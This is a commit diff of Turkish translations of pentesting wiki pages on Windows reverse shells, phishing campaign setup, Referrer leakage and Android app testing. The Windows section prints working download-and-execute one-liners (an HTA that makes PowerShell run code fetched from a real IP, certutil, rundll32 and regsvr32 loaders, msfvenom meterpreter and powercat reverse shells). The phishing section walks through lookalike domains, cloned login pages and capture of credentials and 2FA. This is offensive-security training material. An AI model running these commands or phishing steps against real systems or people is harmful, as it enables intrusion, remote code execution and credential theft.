Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi

This commit is contained in:
Translator 2025-02-04 18:41:34 +00:00
parent e3b1f8034e
commit 64fc530fc9
23 changed files with 620 additions and 623 deletions

View File

@ -5,7 +5,7 @@
## Lolbas
Sayfa [lolbas-project.github.io](https://lolbas-project.github.io/) Windows için, tıpkı [https://gtfobins.github.io/](https://gtfobins.github.io/) linux için olduğu gibi.\
ıkça, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **ikili dosyaların** nasıl (kötüye) kullanılabileceğini bilmek faydalıdır, bu da bazı beklenmedik eylemleri gerçekleştirmek için **rastgele kod çalıştırmak** gibi şeyleri içerir.
ıkça, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **ikili dosyaların** nasıl (kötüye) kullanılabileceğini bilmek faydalıdır, böylece bazı beklenmedik eylemleri gerçekleştirmek için **rastgele kod çalıştırma** gibi.
## NC
```bash
@ -113,7 +113,7 @@ mshta \\webdavserver\folder\payload.hta
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Koadic zombi'yi stager hta kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz.**
**Koadic zombi indirmek ve çalıştırmak stager hta kullanarak çok kolaydır.**
#### hta örneği
@ -175,7 +175,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**Defans tarafından tespit edildi**
**Defansör tarafından tespit edildi**
**Rundll32 - sct**
@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
#### Regsvr32 -sct
[**Buradan**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
@ -255,15 +255,15 @@ run
- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
B64dll indirin, kodunu çözün ve çalıştırın.
Bir B64dll indirin, kodunu çözün ve çalıştırın.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
B64exe indirin, çözün ve çalıştırın.
B64exe indirin, çözümleyin ve çalıştırın.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Defansör tarafından tespit edildi**
**Defans tarafından tespit edildi**
## **Cscript/Wscript**
```bash
@ -289,7 +289,7 @@ impacket-smbserver -smb2support kali `pwd`
```bash
\\10.8.0.3\kali\shell.bat
```
**Defansör tarafından tespit edildi**
**Defans tarafından tespit edildi**
## **MSIExec**
@ -298,7 +298,7 @@ Saldırgan
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Kurban:
Mağdur:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
@ -345,7 +345,7 @@ Kurban makinesinde C# kodunu derleyin.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Buradan temel bir C# ters kabuk indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
Buradan temel bir C# reverse shell indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Tespit edilmedi**
@ -424,13 +424,13 @@ Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve indirin ve ç
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Kötü amaçlı kod olarak tespit edildi**
**Kötü niyetli kod olarak tespit edildi**
### MSF-Unicorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Unicorn kullanarak metasploit arka kapısının bir powershell versiyonunu oluşturun
Unicorn kullanarak metasploit arka kapısının bir powershell versiyonunu oluşturun.
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
@ -442,7 +442,7 @@ Bir web sunucusu başlatın ve _powershell_attack.txt_ dosyasını sunun ve kurb
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Kötü amaçlı kod olarak tespit edildi**
**Kötü niyetli kod olarak tespit edildi**
## Daha Fazla

View File

@ -6,11 +6,11 @@
1. Kurbanı araştır
1. **Kurban alan adını** seç.
2. Kurbanın kullandığı **giriş portallarını** bulmak için bazı temel web taramaları yap ve hangi birini **taklit edeceğine** **karar ver**.
2. Kurbanın kullandığı **giriş portallarını** bulmak için bazı temel web taramaları yap ve hangi birimi **taklit edeceğine** **karar ver**.
3. **E-posta bulmak için** bazı **OSINT** kullan.
2. Ortamı hazırla
1. Phishing değerlendirmesi için kullanacağın **alan adını satın al**.
2. İlgili kayıtları **e-posta hizmetini yapılandır** (SPF, DMARC, DKIM, rDNS).
2. İlgili kayıtları (SPF, DMARC, DKIM, rDNS) **e-posta hizmetini yapılandır**.
3. **gophish** ile VPS'yi yapılandır.
3. Kampanyayı hazırla
1. **E-posta şablonunu** hazırla.
@ -23,8 +23,8 @@
- **Anahtar Kelime**: Alan adı, orijinal alan adının önemli bir **anahtar kelimesini** **içerir** (örneğin, zelster.com-management.com).
- **tireli alt alan**: Bir alt alanın **noktasını tire ile değiştir** (örneğin, www-zelster.com).
- **Yeni TLD**: Aynı alan adı **yeni bir TLD** kullanarak (örneğin, zelster.org).
- **Homoglif**: Alan adındaki bir harfi **benzer görünen harflerle** **değiştirir** (örneğin, zelfser.com).
- **Yeni TLD**: Aynı alan adı, **yeni bir TLD** kullanarak (örneğin, zelster.org).
- **Homoglif**: Alan adındaki bir harfi, **benzer görünen harflerle** **değiştirir** (örneğin, zelfser.com).
- **Transpozisyon:** Alan adındaki iki harfi **değiştirir** (örneğin, zelsetr.com).
- **Tekil/Çoğul**: Alan adının sonuna “s” ekler veya çıkarır (örneğin, zeltsers.com).
- **Atlama**: Alan adından bir harfi **çıkarır** (örneğin, zelser.com).
@ -65,7 +65,7 @@ Satın almayı düşündüğün süresi dolmuş alan adının **iyi bir SEO'ya s
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## E-posta Keşfi
## E-posta Bulma
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (%100 ücretsiz)
- [https://phonebook.cz/](https://phonebook.cz) (%100 ücretsiz)
@ -73,14 +73,14 @@ Satın almayı düşündüğün süresi dolmuş alan adının **iyi bir SEO'ya s
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Daha fazla geçerli e-posta adresi **keşfetmek** veya zaten keşfettiğin e-posta adreslerini **doğrulamak** için, kurbanın smtp sunucularını brute-force ile kontrol edebilirsin. [E-posta adresini doğrulamak/keşfetmek için burayı öğren](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Daha fazla geçerli e-posta adresi **bulmak veya** zaten bulduğun e-posta adreslerini **doğrulamak için**, kurbanın smtp sunucularını brute-force ile kontrol edebilirsin. [E-posta adresini doğrulama/bulma hakkında buradan öğren](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Ayrıca, kullanıcıların **e-postalarına erişmek için herhangi bir web portalı kullanıp kullanmadığını** unutma; eğer kullanıyorsa, **kullanıcı adı brute force** saldırısına karşı savunmasız olup olmadığını kontrol edebilir ve mümkünse bu zafiyeti istismar edebilirsin.
## GoPhish'i Yapılandırma
### Kurulum
[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) adresinden indirebilirsin.
Bunu [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) adresinden indirebilirsin.
İndirin ve `/opt/gophish` dizinine çıkarın ve `/opt/gophish/gophish` komutunu çalıştırın.\
Çıktıda, 3333 numaralı portta admin kullanıcı için bir şifre verilecektir. Bu nedenle, o porta erişin ve bu kimlik bilgilerini kullanarak admin şifresini değiştirin. O portu yerel olarak tünellemeniz gerekebilir:
@ -122,7 +122,7 @@ Sonra alan adını aşağıdaki dosyalara ekleyin:
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Son olarak **`/etc/hostname`** ve **`/etc/mailname`** dosyalarını alan adınızla değiştirin ve **VPS'nizi yeniden başlatın.**
Son olarak **`/etc/hostname`** ve **`/etc/mailname`** dosyalarını alan adınıza göre değiştirin ve **VPS'nizi yeniden başlatın.**
Şimdi, `mail.<domain>` için bir **DNS A kaydı** oluşturun ve bunu VPS'nin **ip adresine** yönlendirin ve `mail.<domain>` için bir **DNS MX** kaydı oluşturun.
@ -225,7 +225,7 @@ service gophish stop
Bir alan adı ne kadar eskiyse, spam olarak yakalanma olasılığı o kadar düşüktür. Bu nedenle, phishing değerlendirmesinden önce mümkün olduğunca uzun süre (en az 1 hafta) beklemelisiniz. Ayrıca, itibarlı bir sektörde bir sayfa oluşturursanız, elde edilen itibar daha iyi olacaktır.
Bir hafta beklemeniz gerekse bile, her şeyi şimdi yapılandırmayı tamamlayabileceğinizi unutmayın.
Bir hafta beklemeniz gerekse bile, her şeyi şimdi yapılandırmayı bitirebileceğinizi unutmayın.
### Ters DNS (rDNS) kaydını yapılandırın
@ -233,7 +233,7 @@ VPS'nin IP adresini alan adıyla çözen bir rDNS (PTR) kaydı ayarlayın.
### Gönderen Politika Çerçevesi (SPF) Kaydı
Yeni alan adı için **bir SPF kaydı yapılandırmalısınız**. SPF kaydının ne olduğunu bilmiyorsanız [**bu sayfayı okuyun**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Yeni alan için **bir SPF kaydı yapılandırmalısınız**. SPF kaydının ne olduğunu bilmiyorsanız [**bu sayfayı okuyun**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
SPF politikanızı oluşturmak için [https://www.spfwizard.net/](https://www.spfwizard.net) adresini kullanabilirsiniz (VPS makinesinin IP'sini kullanın).
@ -267,11 +267,11 @@ Bu eğitim, [https://www.digitalocean.com/community/tutorials/how-to-install-and
### E-posta yapılandırma puanınızı test edin
Bunu [https://www.mail-tester.com/](https://www.mail-tester.com) kullanarak yapabilirsiniz.\
Sadece sayfaya erişin ve size verilen adrese bir e-posta gönderin:
Sadece sayfaya erişin ve size verdikleri adrese bir e-posta gönderin:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Ayrıca **e-posta yapılandırmanızı kontrol edebilirsiniz** `check-auth@verifier.port25.com` adresine bir e-posta göndererek ve **yanıtı okuyarak** (bunu yapmak için **25** numaralı portu **açmanız** ve e-postayı root olarak gönderirseniz yanıtı _/var/mail/root_ dosyasında görmeniz gerekecek).\
Ayrıca **email yapılandırmanızı kontrol edebilirsiniz** `check-auth@verifier.port25.com` adresine bir email göndererek ve **yanıtı okuyarak** (bunun için **25** numaralı portu **açmanız** ve emaili root olarak gönderirseniz _/var/mail/root_ dosyasında yanıtı görmeniz gerekecek).\
Tüm testleri geçtiğinizden emin olun:
```bash
==========================================================
@ -291,11 +291,11 @@ dkim=pass header.i=@example.com;
```
### Spamhouse Kara Listesinden Çıkarma
Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamhouse tarafından engellenip engellenmediğini gösterebilir. Alan adınızın/IP'nizin kaldırılmasını şu adresten talep edebilirsiniz: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamhouse tarafından engellenip engellenmediğini gösterebilir. Alan adınızın/IP'nizin kaldırılmasını talep edebilirsiniz: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Microsoft Kara Listesinden Çıkarma
Alan adınızın/IP'nizin kaldırılmasını [https://sender.office.com/](https://sender.office.com) adresinden talep edebilirsiniz.
Alan adınızın/IP'nizin kaldırılmasını talep edebilirsiniz [https://sender.office.com/](https://sender.office.com).
## GoPhish Kampanyası Oluşturma ve Başlatma
@ -309,7 +309,7 @@ Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamho
> [!NOTE]
> Her şeyin çalıştığını test etmek için "**Test E-postası Gönder**" işlevini kullanmanız önerilir.\
> Test yaparken kara listeye alınmamak için **test e-postalarını 10 dakikalık e-posta adreslerine göndermeyi** öneririm.
> Test yaparken kara listeye alınmamak için **test e-postalarını 10 dakikalık e-posta adreslerine** göndermeyi öneririm.
### E-posta Şablonu
@ -317,7 +317,7 @@ Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamho
- Ardından bir **konu** yazın (olağan bir e-postada okuyabileceğiniz bir şey olsun)
- "**İzleme Resmi Ekle**" seçeneğini kontrol ettiğinizden emin olun
- **e-posta şablonunu** yazın (aşağıdaki örnekteki gibi değişkenler kullanabilirsiniz):
```markup
```html
<html>
<head>
<title></title>
@ -335,16 +335,16 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Not edin ki **e-postanın güvenilirliğini artırmak için**, müşteriden gelen bir e-posta imzası kullanmanız önerilir. Öneriler:
Not edin ki **e-postanın güvenilirliğini artırmak için**, müşteriden gelen bir e-postadan bazı imzalar kullanılması önerilir. Öneriler:
- **var olmayan bir adrese** e-posta gönderin ve yanıtın herhangi bir imza içerip içermediğini kontrol edin.
- **açık e-postalar** arayın, örneğin info@ex.com veya press@ex.com veya public@ex.com ve onlara bir e-posta gönderin ve yanıtı bekleyin.
- **bazı geçerli bulunan** e-postalarla iletişim kurmayı deneyin ve yanıtı bekleyin.
- **bazı geçerli keşfedilmiş** e-postalarla iletişim kurmayı deneyin ve yanıtı bekleyin.
![](<../../images/image (80).png>)
> [!NOTE]
> E-posta Şablonu ayrıca **göndermek için dosyalar eklemeye** de olanak tanır. Eğer NTLM zorluklarını çalmak için özel olarak hazırlanmış dosyalar/belgeler kullanmak isterseniz [bu sayfayı okuyun](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
> E-posta Şablonu ayrıca **göndermek için dosyalar eklemeye** de olanak tanır. Eğer bazı özel hazırlanmış dosyalar/belgeler kullanarak NTLM zorluklarını çalmak isterseniz [bu sayfayı okuyun](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Açılış Sayfası
@ -356,16 +356,16 @@ Not edin ki **e-postanın güvenilirliğini artırmak için**, müşteriden gele
![](<../../images/image (826).png>)
> [!NOTE]
> Genellikle sayfanın HTML kodunu değiştirmeniz ve yerel olarak bazı testler yapmanız gerekecektir (belki bir Apache sunucusu kullanarak) **sonuçlardan memnun kalana kadar.** Sonra, o HTML kodunu kutuya yazın.\
> Genellikle sayfanın HTML kodunu değiştirmeniz ve yerel olarak bazı testler yapmanız gerekecektir (belki bazı Apache sunucusu kullanarak) **sonuçlardan memnun kalana kadar.** Sonra, o HTML kodunu kutuya yazın.\
> HTML için **bazı statik kaynaklar** kullanmanız gerekiyorsa (belki bazı CSS ve JS sayfaları) bunları _**/opt/gophish/static/endpoint**_ dizinine kaydedebilir ve ardından _**/static/\<filename>**_ yoluyla erişebilirsiniz.
> [!NOTE]
> Yönlendirme için kullanıcıları **kurbanın gerçek ana web sayfasına yönlendirebilir** veya örneğin _/static/migration.html_ adresine yönlendirebilir, 5 saniye boyunca bir **dönme tekerleği** (**[**https://loading.io/**](https://loading.io)**) koyabilir ve ardından işlemin başarılı olduğunu belirtebilirsiniz.
> Yönlendirme için kullanıcıları **kurbanın gerçek ana web sayfasına yönlendirebilir** veya örneğin _/static/migration.html_ sayfasına yönlendirebilir, 5 saniye boyunca bir **dönme tekerleği** (**[**https://loading.io/**](https://loading.io)**) koyabilir ve ardından işlemin başarılı olduğunu belirtebilirsiniz.
### Kullanıcılar ve Gruplar
- Bir isim belirleyin.
- **Verileri içe aktarın** (örneğin, şablonu kullanmak için her kullanıcının adı, soyadı ve e-posta adresine ihtiyacınız olduğunu unutmayın).
- Bir isim ayarlayın.
- **Verileri içe aktarın** (örneğin şablonu kullanmak için her kullanıcının adı, soyadı ve e-posta adresine ihtiyacınız olduğunu unutmayın).
![](<../../images/image (163).png>)
@ -410,7 +410,7 @@ Bu noktada [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSn
1. Gerçek web sayfasının **giriş** formunu taklit edersiniz.
2. Kullanıcı **kimlik bilgilerini** sahte sayfanıza gönderir ve araç bu bilgileri gerçek web sayfasına gönderir, **kimlik bilgilerin çalışıp çalışmadığını kontrol eder**.
3. Hesap **2FA** ile yapılandırılmışsa, MitM sayfası bunu isteyecek ve kullanıcı bunu girdikten sonra araç bunu gerçek web sayfasına gönderecektir.
4. Kullanıcı kimlik doğrulandıktan sonra (saldırgan olarak) **kimlik bilgilerini, 2FA'yı, çerezi ve aracın MitM gerçekleştirdiği her etkileşimden elde edilen bilgileri** yakalamış olacaksınız.
4. Kullanıcı kimlik doğrulandıktan sonra siz (saldırgan olarak) **kimlik bilgilerini, 2FA'yı, çerezi ve aracın MitM gerçekleştirdiği her etkileşimden elde edilen bilgileri** yakalamış olacaksınız.
### VNC Üzerinden
@ -419,20 +419,20 @@ Bunu [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ile yapabilirsiniz.
## Tespiti Tespit Etme
Elbette, yakalandığınızı anlamanın en iyi yollarından biri, **alan adınızı kara listelerde aramaktır**. Eğer listelenmişse, bir şekilde alan adınız şüpheli olarak tespit edilmiştir.\
ıkça, yakalandığınızı bilmenin en iyi yollarından biri, **alan adınızı kara listelerde aramaktır**. Eğer listelenmişse, bir şekilde alan adınız şüpheli olarak tespit edilmiştir.\
Alan adınızın herhangi bir kara listede görünüp görünmediğini kontrol etmenin kolay bir yolu [https://malwareworld.com/](https://malwareworld.com) kullanmaktır.
Ancak, kurbanın **şüpheli phishing faaliyetlerini aktif olarak arayıp aramadığını** anlamanın başka yolları da vardır, bunlar aşağıda açıklanmıştır:
Ancak, kurbanın **şüpheli phishing faaliyetlerini aktif olarak arayıp aramadığını** bilmenin başka yolları da vardır, bunlar aşağıda açıklanmıştır:
{{#ref}}
detecting-phising.md
{{#endref}}
**Kurbanın alan adına çok benzer bir isimle bir alan adı satın alabilir** ve/veya **kontrolünüzdeki bir alanın** **alt alanı için bir sertifika oluşturabilirsiniz** **ve kurbanın alan adının** **anahtar kelimesini** içerebilirsiniz. Eğer **kurban** bu alanlarla herhangi bir **DNS veya HTTP etkileşimi** gerçekleştirirse, **şüpheli alan adlarını aktif olarak aradığını** bileceksiniz ve çok dikkatli olmanız gerekecek.
**Kurbanın alan adına çok benzer bir isimle bir alan adı satın alabilir** ve/veya **sizin kontrolünüzdeki bir alanın** **alt alanı için bir sertifika oluşturabilirsiniz** **kurbanın alan adının** **anahtar kelimesini** içeren. Eğer **kurban** onlarla herhangi bir tür **DNS veya HTTP etkileşimi** gerçekleştirirse, **şüpheli alan adlarını aktif olarak aradığını** bileceksiniz ve çok dikkatli olmanız gerekecek.
### Phishing'i Değerlendirme
E-postanızın spam klasörüne düşüp düşmeyeceğini veya engellenip engellenmeyeceğini veya başarılı olup olmayacağını değerlendirmek için [**Phishious**](https://github.com/Rices/Phishious) kullanın.
E-postanızın spam klasörüne düşüp düşmeyeceğini veya engellenip engellenmeyeceğini veya başarılı olup olmayacağını değerlendirmek için [**Phishious** ](https://github.com/Rices/Phishious) kullanın.
## Referanslar

View File

@ -6,7 +6,7 @@ Referrer, tarayıcılar tarafından önceki ziyaret edilen sayfayı belirtmek i
## Hassas bilgilerin sızdırılması
Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde yer alıyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) bir şekilde yönlendirebiliyorsa, en son GET isteği içindeki hassas bilgileri dışarıya aktarabilir.
Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde bulunuyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) öneride bulunabiliyorsa, en son GET isteğindeki hassas bilgileri dışarıya aktarabilir.
## Azaltma
@ -23,13 +23,13 @@ Referrer-Policy: unsafe-url
```
## Karşı Önlem
Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu kullanması gerekir):
```markup
Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu gerçekleştirmesi gerekir):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Savunma
Hassas verileri asla GET parametreleri veya URL'deki yolların içine koymayın.
Asla hassas verileri GET parametreleri veya URL'deki yolların içine koymayın.
{{#include ./banners/hacktricks-training.md}}

View File

@ -20,11 +20,11 @@ ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutlar
## Smali
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.\
[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden compile edeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden compile etmeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
## Diğer ilginç ipuçları
- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md)
- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md)
- **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Cihazdan APK çıkarın:
```bash
@ -47,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Statik Analiz
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\
Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md).
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir decompiler kullanarak.\
Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md).
### İlginç Bilgiler Aramak
### İlginç Bilgiler Arama
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) için bile bakın.
**Firebase**
@ -60,24 +60,24 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi, potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara dekompilerler kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
**Manifest.xml** dosyasından belirlenen **Güvenlik Açıkları** şunlardır:
**Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır:
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemeleri önlenir.
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
- **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir.
- **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açıkta olan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir.
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
- **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gereğini vurgular.
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular.
### Tapjacking
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
Daha fazla bilgi için:
@ -87,7 +87,7 @@ tapjacking.md
### Görev Ele Geçirme
**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
